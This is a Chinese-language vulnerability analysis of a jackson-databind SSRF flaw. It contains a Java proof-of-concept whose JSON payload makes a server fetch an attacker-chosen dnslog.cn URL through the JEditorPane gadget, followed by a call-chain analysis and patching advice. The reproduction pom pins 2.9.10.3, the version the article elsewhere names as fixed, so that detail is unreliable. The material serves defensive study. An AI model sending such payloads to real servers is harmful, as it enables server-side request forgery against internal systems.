Jackson-databind SSRF浅析
字数 1354 2025-08-25 22:59:09

Jackson-databind SSRF漏洞分析与防护指南

漏洞概述

Jackson-databind在特定条件下存在SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造恶意JSON数据触发服务端发起任意HTTP请求。

影响范围

  • jackson-databind < 2.9.10.3
  • jackson-databind < 2.10.2

利用条件

  • 开启了enableDefaultTyping()功能

漏洞原理

该漏洞利用javax.swing.JEditorPane类在反序列化时的特性,该类是JDK自带组件,无需额外依赖。当Jackson反序列化包含特定构造的JSON数据时,会触发JEditorPane.setPage()方法,进而导致服务端发起HTTP请求。

环境搭建

依赖配置(pom.xml)

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.10.3</version>
    </dependency>
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-nop</artifactId>
        <version>1.7.2</version>
    </dependency>
    <dependency>
        <groupId>javax.transaction</groupId>
        <artifactId>jta</artifactId>
        <version>1.1</version>
    </dependency>
</dependencies>

漏洞复现

PoC代码

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"javax.swing.JEditorPane\",{\"page\":\"http://qb7fky.dnslog.cn\"}]";
        
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

触发效果

执行上述代码后,DNSlog平台会收到来自服务端的HTTP请求。

漏洞分析

关键调用链

  1. JEditorPane.setPage()方法被调用
  2. 方法内部检查page参数不为空后初始化页面上下文
  3. 调用getAsynchronousLoadPriority()获取加载优先级(返回-1)
  4. 进入同步加载分支
  5. 调用getStream()方法处理URL
  6. page.openConnection()创建HttpURLConnection对象
  7. 最终调用InetAddress.getByName()解析主机名

核心触发点

InetAddress.getByName()调用时,会解析并请求我们构造的恶意URL,这是SSRF触发的根本原因。整个流程涉及多个关键判断:

  1. loaded变量初始为null,导致进入同步加载分支
  2. getAsynchronousLoadPriority()返回-1,满足p < 0条件
  3. doInput为true,允许URL连接进行输入
  4. 最终通过HttpClient建立连接并解析DNS

补丁分析

官方通过黑名单机制修复此漏洞,将javax.swing.JEditorPane添加到反序列化黑名单中。但这种修复方式存在局限性,可能被其他未在黑名单中的类绕过。

补丁提交记录:
https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60

修复建议

  1. 升级组件

    • 将jackson-databind升级到安全版本(≥2.9.10.3或≥2.10.2)
  2. 配置加固

    • 如非必要,不要启用enableDefaultTyping()
    • 使用@JsonTypeInfo注解替代全局的default typing
  3. 环境加固

    • 升级到较高版本的JDK
    • 配置网络策略,限制应用服务器的出站连接
  4. 防御措施

    • 实施反序列化过滤器
    • 对反序列化操作进行严格的输入验证

总结

该漏洞展示了Jackson-databind在启用default typing时的安全隐患,通过JDK自带类即可触发SSRF。开发者应谨慎使用反序列化功能,并及时更新相关组件到安全版本。

Jackson-databind SSRF漏洞分析与防护指南 漏洞概述 Jackson-databind在特定条件下存在SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造恶意JSON数据触发服务端发起任意HTTP请求。 影响范围 jackson-databind < 2.9.10.3 jackson-databind < 2.10.2 利用条件 开启了 enableDefaultTyping() 功能 漏洞原理 该漏洞利用 javax.swing.JEditorPane 类在反序列化时的特性,该类是JDK自带组件,无需额外依赖。当Jackson反序列化包含特定构造的JSON数据时,会触发 JEditorPane.setPage() 方法,进而导致服务端发起HTTP请求。 环境搭建 依赖配置(pom.xml) 漏洞复现 PoC代码 触发效果 执行上述代码后,DNSlog平台会收到来自服务端的HTTP请求。 漏洞分析 关键调用链 JEditorPane.setPage() 方法被调用 方法内部检查page参数不为空后初始化页面上下文 调用 getAsynchronousLoadPriority() 获取加载优先级(返回-1) 进入同步加载分支 调用 getStream() 方法处理URL page.openConnection() 创建HttpURLConnection对象 最终调用 InetAddress.getByName() 解析主机名 核心触发点 在 InetAddress.getByName() 调用时,会解析并请求我们构造的恶意URL,这是SSRF触发的根本原因。整个流程涉及多个关键判断: loaded 变量初始为null,导致进入同步加载分支 getAsynchronousLoadPriority() 返回-1,满足 p < 0 条件 doInput 为true,允许URL连接进行输入 最终通过 HttpClient 建立连接并解析DNS 补丁分析 官方通过黑名单机制修复此漏洞,将 javax.swing.JEditorPane 添加到反序列化黑名单中。但这种修复方式存在局限性,可能被其他未在黑名单中的类绕过。 补丁提交记录: https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60 修复建议 升级组件 : 将jackson-databind升级到安全版本(≥2.9.10.3或≥2.10.2) 配置加固 : 如非必要,不要启用 enableDefaultTyping() 使用 @JsonTypeInfo 注解替代全局的default typing 环境加固 : 升级到较高版本的JDK 配置网络策略,限制应用服务器的出站连接 防御措施 : 实施反序列化过滤器 对反序列化操作进行严格的输入验证 总结 该漏洞展示了Jackson-databind在启用default typing时的安全隐患,通过JDK自带类即可触发SSRF。开发者应谨慎使用反序列化功能,并及时更新相关组件到安全版本。